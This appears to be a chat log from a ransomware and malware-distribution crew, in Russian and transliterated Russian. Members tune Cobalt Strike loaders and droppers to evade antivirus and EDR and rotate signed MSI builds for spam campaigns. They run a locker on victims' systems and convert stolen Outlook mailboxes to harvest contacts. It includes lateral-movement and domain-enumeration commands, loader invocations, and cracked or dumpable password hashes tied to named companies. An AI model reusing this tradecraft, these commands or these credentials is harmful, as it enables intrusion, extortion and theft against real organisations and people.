> <@usernamemm:matrix.bestflowers247.online> sent an image.

ya tozhe delal s spama

> <@usernamegg:matrix.bestflowers247.online> аутлук пробить нерельно я и не шлю на него

art.png

art2.png

должно быть так

в Script Console должно появляться сообщение при компиле что UDRL кит загружен

> <@cob_crypt_ward:matrix.bestflowers247.online> sent a file.

> <@usernamegg:matrix.bestflowers247.online> сейчас я дроппером решу и все снова полетит

у тебя так же, как я скинул?

так у тебя слипмаск загружен

а не arsenal_kit.cna

надо грузить arsenal_kit.cna, а не sleepmask.cna :)

> <@usernamegg:matrix.bestflowers247.online> sent an image.

у тебя тут sleepmask.cna

а тебе нужно загрузить arsenal_kit.cna

да, так

все ок

вот, теперь все ок

счас сделаю

вроде все. до завтра. офаюсь

ok

Спокойной ночи!

да, я тещу

hi

tut

+++

NN prishel?

не могу пока сказать

у меня почему-то шеллкод не выполняется, но аллоцируется

ошибка у меня где-то

сижу ищу ее

заработало вроде

но это только под 10, помнишь?

запускай

счас на едрах протестирую

и скину, ок?

win10 est' 2016 est'

все готово

дай ленды

еще раз

skin

> <@w:matrixtcFJHPDblmt2rg.network> adolae.firstbasedso.com

я не вижу

сча, x86 доделаю

их

adolae.firstbasedso.com

+

ok

вот

я кстати забыл, с какого у нас каникулы?

с 26, или позже?

ok

ofc

* щас

+

че там в чем дело было

хоть

и перекинь че там ответили

про закреп

кто ответил про закреп?

окей, без проблем

короче сентиль на 86 детект

скорее всего сама коба детектится

> <@usernamegg:matrix.bestflowers247.online> но ты все равно заходи сюда поглядывай что я пишу

> <@cob_crypt_ward:matrix.bestflowers247.online> скорее всего сама коба детектится

сейчас под пролив нужно?

> <@cob_crypt_ward:matrix.bestflowers247.online> сильно страшно?

> <@cob_crypt_ward:matrix.bestflowers247.online> сильно страшно?

* я постораюсь пофиксить, думаю дело в кобе, когда хавос запускал - все ок было

окей, сейчас

зум+

+++

как по внц

дела

могу раб

?

нет пока что

жаль

ок

ок

[18:49:30] dss: что у меня есть...

> <@usernamegg:matrix.bestflowers247.online> ! вот на этот фаил

citrix +

whitlam.com - старые ребята. их даже не подсвечивали. блог и дата уже давно на них есть.

runtime.zip

понял почему детект на сентиле, новый арсенал говно

> <@cob_crypt_ward:matrix.bestflowers247.online> sent a file.

Discord +

ссд траф 2

группа

?

interesno ?

13.52.211.166

lf

da

> <@cob_crypt_ward:matrix.bestflowers247.online> sent a file.

iz pentesterov est' kto online ?

> <@usernamegg:matrix.bestflowers247.online> dropper_GG15WE_N_f0adda360d2b4ccda11468e026526576_mFBGRWNDn.zip

signed_7555DC464.7z

деф подзаеп...

да, спасибо

сорян за такие моменты

я когда сурс лоадера смотрел, кое-что не увидел

сегодня ночью попробую свой лоадер написать, чтоб x86 чистым был

Ambulance ya -

если получится с x86, нужда с x64 отпадет?

ok

FileSync.Resources.dll

ok

на минут 20-30 отойду, скоро буду

+

chekni

сеть пришла

shas na drugom zpushu visit koba...

> <@usernamegg:matrix.bestflowers247.online> sent a file.

> <@usernamegg:matrix.bestflowers247.online> sent a file.

shas chenki

у дефа обострения, чуть задерживается поезд

дай мне тдс гляну по скачкам лендов

ип гляну корпы или персы идут

yasno

comptrk_kekhash.txt

shas v varke cheknu

> <@usernamegg:matrix.bestflowers247.online> сетка та живая еще ?

$krb5tgs$23$*jpierrepont$comptrk.com$CAARCserveRHAEngine/jpierrepont2.comptrk.com:25000@comptrk.com*$63a8e120..586063f:jp0603

STE02ESL01_SYSTEM_615474A4

online

++

zhest'

табла+

адоб+

по разному

щас скажу точно сколько текущий билд

```

130 сек

где то так

1 IP - в 135 сек

если IP В оффе, то след стук будет через 270 сек

получилось что нить с ost ?

там есть knock timeout

я наконец то доделал блог по BARRACK

W tut ?

да, тут

думаю что если напишут, навернео лучше подключить юрика

новые файлы ставлю

отпишу

вы можете это менять в панели

image.png

там есть поле knock timeout

так пробовал?

найми на зп пусть чекает каждые минут 10 и заливает новое

там есть быстрые кнопки

самому тебе зачем на это время тратить

куча всего надо делать один же не успеешь

везде

image.png

вот эта часть в боте

115 сейчас по дефолту в билде стук

его можно менять, не ставьте гланое меньше 3-ех

180 сек типо?

а почему?

думаешь влияет это на что то?

https://www.youtube.com/watch?v=XEiSTbat-c8

`Convert OST to PST for Free using PowerShell Scripts – OST to PST Conversion Guide`

ktbslaw.com

hotelplan.co.uk

shas cheknu zapusk kobi

Дай плиз нам ип по тдс скачки

чекну их на корпы

не может быть так хуего как у нас одни персы идут

rundll32 FileSync.Resources.dll

zapuskayu na varke

uzhe 2oy raz

`remote-exec psexec 10.0.100.247 %windir%\system32\regsvr32 C:\users\public\OneDriveStandaloneUpdater.exe`

слак +

анидеск+

окей

щас

пару минут

esli ne stuchit znachit chto to ne tak s faylom

mozhet regsvr32 nado

* mozhet regsrv32 nado

FileSyncClient.dll

```

* ```

вот тут все скачивания

70% отстук

94 скачиания - 65 ботов

ну там еще реверсеры

я их не считаю в 65

ип скачек интересны

за сегодня дашь потом

будем смотреть

+++

окей

chto robotaet?

и за файлом надо больше глядеть

завтра сделать вам билд с таймаутом стука - 180-300 сек?

kak zapuskaesh ?

aa regsvr32

a rundll32?

ya sprosil ti napsial da)

shas uznayu mozhno li pomenyat'

> <@usernamegg:matrix.bestflowers247.online> ты как заупскал ?

я тут, да

прости, отошел поесть

хотел сказать, пока будут каникулы буду писать новый UDRL для кобальта

потому что сейчас нету ни одного нормального

у всех свои минусы

например в elusive используется winapi

virtualprotect

некоторые EDR детектят

в идеале попробовать бы BRC4 криптануть

он то вообще непробиваемый

сентиль, кровд думаю не скоро

shas paru proverok zdelaem

u sebya zapustil posmotri

po regsvr32

точнее не знаю когда даже

не думал об этом, поскольку там то палить нечего

ok

думаю за нг каникулы точно перепишу на ntapi, все ок будет

opat vstalo

vse

10-20 ботов

и встает

что встало?

файлы новые на выдаче опять стоят

я их каждые 15 минут меняю

надо делать .msix потому что очень быстро начинает палить .msi

msix

sha i s shela probnu esho razok u sebya

пока его делаешь может через дропбокс сделаем как и было

или думаешь мисх тока

> <@ssd:matrix.bestflowers247.online> пока его делаешь может через дропбокс сделаем как и было

ну давай делать мсих сколько это займет

день два

или 5 часов

щас, пару мниут

> <@usernamegg:matrix.bestflowers247.online> ну давай , мы выйдем будет чистота

> <@usernamegg:matrix.bestflowers247.online> ну давай , мы выйдем будет чистота

* ++

> <@usernamegg:matrix.bestflowers247.online> заливаешь фаил ?

да

```

> <@usernamett:matrix.bestflowers247.online> ```

я подключиться не могу, его пе продлили похоже

ну там делов поднять минут 10 если что

хоть одна в работу пошла сеть

?

> <@usernameww:matrix.bestflowers247.online> 4file_locker.zip

++

будет очень клево, если поделишься

клиента нету

думаю как его сделать

+

опять печально идет

больше 15 ботов и все пидец файлу как будто

u nas 100 bilds vihodilo

v den progruza

ranee

msi or msix?

мси

100 билдов

в день разными хешами

опять встало

а это куда?

ок я поехал тогда

завтра с дома будк

* завтра с дома буду

`gorman_g::WESNET:1122334455667788:ee9210c2116adb0da2169587c55b8920:0101000000000000073094798133da01bd2146783c6ed43f000000000800300030000000000000000000000000200000f5ed7d6702623eb84b5e3203aeba5383beb8d89d28e08293f247794ae063c36e0a0010000000000000000000000000000000000009001e005700450053004e00450054005c0067006f0072006d0061006e005f0067000000000000000000`

bAndsaw1!abcdef

ZoomGovbAndsaw6!

GORMAN_G::WESNET:1122334455667788:ee9210c2116adb0da2169587c55b8920:0101000000000000073094798133da01bd2146783c6ed43f000000000800300030000000000000000000000000200000f5ed7d6702623eb84b5e3203aeba5383beb8d89d28e08293f247794ae063c36e0a0010000000000000000000000000000000000009001e005700450053004e00450054005c0067006f0072006d0061006e005f0067000000000000000000:bAndsaw1!abcdef

kak tam fail

msi

пока нормально

KeyLogger & vnc podnimi maza budt

ya u sebya zapustil

visit

chekni plz

стоят боты опять

ты один и тот же мси на все ленды заливаешь

или разные

на все ленды - 15-30 MSI За раз

меняю каждые 30 минут

корпов нету потому что файл не бъет корпы

быстрей думаю горит

чем 30 мин

найми кто будет это делать

и займись другим лучше

чем дрочкой этой

файл менять)

на зп чел 500 юсд в неделю

ну точно не тебе надо сидеть этим заниматся

> <@w:matrixtcFJHPDblmt2rg.network> меняю каждые 30 минут

westat.kerb.txt

pecofoods.com

> <@usernamegg:matrix.bestflowers247.online> 12/20 22:05:13 *** initial beacon from Office11@192.168.94.130 (OFFICE)

пару сеток

пришло

readydatacenter.net

yasno

esh odobav plz etix tozhe

admini itd itp)

JJ zdelal ego

если у вас серт горит чаще 5 дней

`powerpick Get-NetComputer -Server 10.13.9.225 -Domain WESTAT.COM | Get-IPAddress > WESTAT.COM_PW.txt`

файл не так собираете или подпись не

ГГ там че хоть 1 таргет в раб ушел

?

D6E2C0D80000023014183032758 беру

а ты криптуешь вообще стилак каждый день

может из за него боты дохнут

`powerpick Get-DomainTrust -Server 10.13.9.225 -Domain WESTAT.COM`

Не криптую, у меня он выполняется в памяти, на диск не попадает

динамика у него чиста

понял

* powerpick Get-DomainTrust -Server 10.13.9.225 -Domain WESTAT.COM | Select-Object TargetName -Unique

* `powerpick Get-DomainTrust -Server 10.13.9.225 -Domain WESTAT.COM | Select-Object TargetName -Unique`

Почему резко перестают идти боты

значит везде 1 и тот же мси

как там загрузки с таблы? на нем мало трафа, есть польза с него

надо глянуть стату с него 45-50 кликов за сегодня дал, клики по 1 евро в среднем выходят

> <@ssd:matrix.bestflowers247.online> KeyLogger & vnc podnimi maza budt

ку

> <@ssd:matrix.bestflowers247.online> хоть одна в работу пошла сеть

> <@usernamenn:matrix.bestflowers247.online> sent a file.

ку

Привет!)

Щас ставлю новые IP и выдаю тебе новый билд

> <@usernamett:matrix.bestflowers247.online> sent a file.

PASS: aec117ee9978aa536ac14cf344c54db7

dropper_GG15TH_f0adda360d2b4ccda11468e026526576_JeIfqsfM.zip

dropper_GG15TH_LONG_f0adda360d2b4ccda11468e026526576_fsJO9TqiI.zip

Оба билда проверил, GG15TH_LONG стучит как ты вчера мне писал поменять

Всем привет!

dropper_GG15TH_f0adda360d2b4ccda11468e026526576_JeIfqsfM.zip

dropper_GG15TH_LONG_f0adda360d2b4ccda11468e026526576_fsJO9TqiI.zip

PASS: aec117ee9978aa536ac14cf344c54db7

Билд для спама на сегодня

Бурито и бену скинул исходники

если что исходники проверил, все стучит

Я через 1 час уйду до 13:00 по МСК +-

как приду, выдам билды под трафик и перегруз

На каждом билде - 20 IP

в системе сейчас всего 33

* в системе сейчас всего 33 IP

должно кароче все очень хорошо стучать

зашел на этот сайт

скачал, он написал, что тип нет аутлука на компе, хотя есть он есть

и тип предложил онлайн конвертацию ост в пст

https://www.ost-to-pst-converter.com/ вот сюда меня перевело

залил я туда ост файл

Fail the OST file conversion" и пишет ошибку

а хотя вот заработало приложение

но что-то пусто

и ошибок нет

++

нажал на восстановление ост, посмотрим

что-то вчерашняя процедура плохо мне далась, у меня щас так башка болит будто я не спал дня 3, ты как себя чувствуешь?

доброе

доброе

Dobroe!

доброе

dobroe

> <@usernamegg:matrix.bestflowers247.online> голова болит ? ты не заболел ?

я выспался отлично)

да попью нурафена

хорошо)

Привет! ок

я пока тут если что

через минут 30 уйду

ага, рано проснулся

четко так вообще)

http://temp.sh/YLBEM/Capture.PNG

ну вот надал на восстановоение

что-то есть там

https://outlook.all-recovery-inc.com/buy.html

нужно купить у них лицензию

так как лимит у них всего 5 писем

через них вот получилось из ост в eml экспортировать

5 писем

картой только у них оплата

видимо какие-то битые ост, так как сразу из ост в пст не получилось перевести

> <@usernamegg:matrix.bestflowers247.online> http://temp.sh/riZBD/jgolan_ost.rar

вот

1.2 гигабайта?

я на скачку поставил, но это надолго

да

ща серты поменяю на декрипт сайте

истекли

> <@usernamegg:matrix.bestflowers247.online> http://temp.sh/riZBD/jgolan_ost.rar

привет

слух, там чето админ кипешует

ответь ему

```

оплату принять надо

++

+

https://grehlingerssealcoating.com/3hidbt/{random}

+

ща дефа обновлю и проверю

но дллка думаю грязная будет

Trojan:JS/PikaBot.PRMY!MTB

ого, как спалило js

ща еще проверю

аа

это вчерашние

от вени

хм

палит

хром

не дает скачать

ща зип попробую поменять

чисто

дллку палит

как пику

js чистые

failed :))) не получилось скачать, ставлю заново

сайт слабый

хоть на что нибудь нормальное надо было загрузить

какой айди локера

поставил новый js на выдачу запуски прям пошли

только дллки конечно другой нет

да

щас узнаю сначала есть ли шифрованные

уберу тогда js с выдачи

чтобы не палить пока

хотя поставлю все же

а то вот две сетри пришли

там трендмикро

он не палит дллку пока видимо

думаете не запустился скрипт?

* думаете не запустился локер?

хорошо

вы когда запустите локер, зайтеди по ссх, и проверьте висит ли запущенный процесс

ну есть ли процесс локера

хм

Locker sleep (seconds)" вы может это указывали

да есть зашифрованные

запустить дешифровку да?

он там спал может какие-то секунды

вы обычно 1 час указываете, я замечал

только у второго офиса такое, у первого офиса 0 жалоб, а команду, которую я прошу исполнить 2 офис не исполняет, хотя я уже 3 раза просил

ну либо что-то с локером

ну разработчик локера может еще постестировать на esxi, которые ласт поднять может

может что-то там поменяли, что не лочится

ок, в любом случае требования для дебага они не выполняют

все по своему делают

8.0?

ну можно попросить, у нас вроде 7 была

когда я локер писал

+

+

готово

подошел код

+

+

Хочется, конечно выдать сразу. Но приходится всегда чистить

2 часа. Все переделывать снова

+

+

зачем он несколько выдает?)

как мне понять какой лучше ставить?

аа

уже тут

так, даже роаньше справился

> <@usernamegg:matrix.bestflowers247.online> ты исправил в билдах для ляписа крипта ?

должно быть ччисто

ну динамику в дропере своем я вычистил

все окей должно быть

надо тестить

скинь ему билд, который я тебе выдал проверю

ага, учетку не удалил

ну на фтп том

отключил

Command: USER a

скинь ему билд GG15TH

попроси, чтобы он криптанул

мы проверим, если ок

-----

бро привет

метка с гугла заебала

как убираешь ее?

все чистейшее ран тайм , статика и тд

но сука эта метка )

рот ее

у меня есть ряд идей, сегодня попробую

сделал импорт eml из ост файлов

только вот само восстановление занимает норм времени

пока только 2 файла восстановил

как все 9 файлов восстановлю, тогда импортну

если выдаешь по прямой ссылке с траст домена =тоже ок - я думаю в этом причина основная , траст сайта

может конечно еще подпись решает

тачка для тестов запущена

обновлена

жду билды тогда, проверю все и дам отмашку

пойду перекушу что то, ат о так и не поел из-за дел

минут 10-15 и буду

че то сс долго ребутится

делаю

привет

привет всем

а нафига pst криптанули?))

Привет, решаю вопрос с выдачей, и пытаюсь сделать msix правильно

понял

пусть макар раз сделает и объеснит у ГГ есть его контакт

время идет теряем траф

++пару минут

ВНЦ бро нужно

и На сегодня хотябы так же мси сделай зарание

не собирался

время проебу

там не смогу работать

лучше посижу

хай

Пока у меня грязно. чищу

не быстро конечно идет восстановление ост этих

та что... пилю

все как вседа

вот только сейчас закончил с 9 файлами

скоро буду импортировать к нам

не знаю. стараюсь сделать как можно быстрее и качествено

бурито уже тут

жду от него файл

там в смысле на фтп?

принял, спасибо

в рестик счас сгоняю и посмотрю

в ресотран схожу пообедать и прийду, ок?

к 4-м буду как раз

+++

rundll32.exe dll.dll,Enter

signed_dr_GG15TH_f0adda360d2b4ccda11468e026526576_JeIfqsfM.7z

раз

давай

тебе он скинул?

+

а нельзя сделать 4 мб?

ой

точнее 2мб

я все же думаю не зальется

ща попробую, не врядли

rundll32.exe dll.dll,Enter

signed_dr_GG15TH_LONG_f0adda360d2b4ccda11468e026526576_fsJO9TqiI.7z

два

срочно надо свалить как всегда)

получил

от бурито

он скинул

щас проверю

ну я уже те проливаю

все равно там 4-5 мб

ну куда-то пролилось

пока на 3 линка

попробую

деф на маленьких лезет

щас надо?

бля

надо подбирать файл

ну да, не очень хорошо...

щас попробую меньше

а бен тоже утром нет?

хм, детект все равно

не должно было бы быть

я думал я медленно)

image.png

и опять туда же

надо бена ждать

и только ей доверяю я...

странно, тогда пока не понятно куда палит

:D

точнее что

видимо анти дебаг функции

там просто вообще ничего нет)

тупо создание процесса и перезапись его

очень странно

ага и бот запустился все равно

ясно

как и вчера

ща проверю тоже через js

ага, ну это был детект на самого бота

там палило whoami /all

а тут именно палит дропер

когда мой дропер скидывает бота в систему

чтобы даже если длка удалиться

ну крипт спалиться

или еще что

то мы в системе оставались

вот дропер палит, причем походу после того как процесс уже дропнулся в истему

* вот дропер палит, причем походу после того как процесс уже дропнулся в систему

ну да, палит

ну все равно не круто что орет

потому что тогда быстрее заменят

* потому что тогда быстрее заметят

`capgemini:1001:aad3b435b51404eeaad3b435b51404ee:eb40966228f887ff29bbcb1444bb59a5`

2 700 новых контактов с ост есть

на 1 600 реально еще доставить

они не на гугле и аутлуке

это очень долго будет

там 90 гб в одной папке только

> <@usernamegg:matrix.bestflowers247.online> там все зашифровано ?

почти всё

---

metalcraftgroup.co.nz - блог по ним нужен создай чтобы я оформил

понял

а то вручную ост эти капец будет долго распоковывать

да стоит пока, я одну папку для теста поставил, сделал бекап

там 90 гб в ней как раз

особенно, если их там много будет

image.png

оранжевые это то что закончено

+

вы мне один расшифруйте

rundll32.exe dll.dll,Enter

signed_dropper_GG15TH_f0adda360d2b4ccda11468e026526576_JeIfqsfM.7z

signed_dropper_GG15TH_LONG_f0adda360d2b4ccda11468e026526576_fsJO9TqiI.7z

я посмотрю получится ли на убунту перевести в пст

вот меньше запилил

чтобы это автоматизировать потом все

ну это как пст

/data/www/PST/LECLAIR/PST/kmarko.pst

то что там терабайты это потому, что много атачей в письмах

566 мегабайт

они просто много места занимают

а так да

все равно уже контактов больше для просыла

отвалил

блин)

ну я могу стопнуть локер щас, восстановить бекап

включить на другом

ну ты можешь валидность этой pst проверить?

эм)

это же считай одно и тоже

просто формат для хранения данных(писем, контактов)

ага, это меньше вес